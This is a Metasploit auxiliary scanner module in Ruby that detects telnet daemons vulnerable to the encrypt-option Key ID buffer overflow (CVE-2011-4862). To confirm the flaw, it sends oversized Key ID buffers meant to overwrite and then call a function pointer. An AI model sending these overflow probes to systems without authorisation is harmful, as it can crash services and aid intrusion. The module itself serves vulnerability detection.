## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Telnet include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( 'Name' => 'Telnet Service Encyption Key ID Overflow Detection', 'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)', 'Author' => [ 'Jaime Penalba Estebanez ', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ ['BID', '51182'], ['CVE', '2011-4862'], ['EDB', '18280'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2011/12/28/more-fun-with-bsd-derived-telnet-daemons'] ] ) register_options( [ Opt::RPORT(23), OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]) ], self.class) end def to return 30 if datastore['TIMEOUT'].to_i.zero? datastore['TIMEOUT'].to_i end def run_host(ip) begin ::Timeout.timeout(to) do res = connect # This makes db_services look a lot nicer. banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s) svc = report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_sanitized) # Check for encryption option ( IS(0) DES_CFB64(1) ) sock.put("\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0") loop do data = sock.get_once(-1, to) rescue nil if not data print_status("#{ip}:#{rport} Does not support encryption: #{banner_sanitized} #{data.to_s.unpack("H*")[0]}") return end break if data.index("\xff\xfa\x26\x02\x01") end buff_good = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 63) + "\xff\xf0" buff_long = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 64) + ( "\xcc" * 32) + "\xff\xf0" begin # # Send a long, but within boundary Key ID # sock.put(buff_good) data = sock.get_once(-1, 5) rescue nil unless data print_status("#{ip}:#{rport} UNKNOWN: No response to the initial probe: #{banner_sanitized}") return end unless data.index("\xff\xfa\x26\x08\xff\xf0") print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}") return end # # First round to overwrite the function pointer itself # sock.put(buff_long) data = sock.get_once(-1, 5) unless data print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to first long Key ID: #{banner_sanitized}") return end unless data.index("\xff\xfa\x26\x08\xff\xf0") print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to first Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}") return end # # Second round to force the function to be called # sock.put(buff_long) data = sock.get_once(-1, 5) unless data print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to second long Key ID: #{banner_sanitized}") return end unless data.index("\xff\xfa\x26\x08\xff\xf0") print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to second Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}") return end print_status("#{ip}:#{rport} NOT VULNERABLE: Service did not disconnect: #{banner_sanitized}") return rescue ::EOFError end # EOFError or response to 64-byte Key Id indicates vulnerable systems print_good("#{ip}:#{rport} VULNERABLE: #{banner_sanitized}") report_vuln( { :host => ip, :service => svc, :name => self.name, :info => "Module #{self.fullname} confirmed acceptance of a long key ID: #{banner_sanitized}", :refs => self.references } ) end rescue ::Rex::ConnectionError rescue Timeout::Error print_error("#{target_host}:#{rport} Timed out after #{to} seconds") rescue ::Exception => e print_error("#{target_host}:#{rport} Error: #{e} #{e.backtrace}") ensure disconnect end end end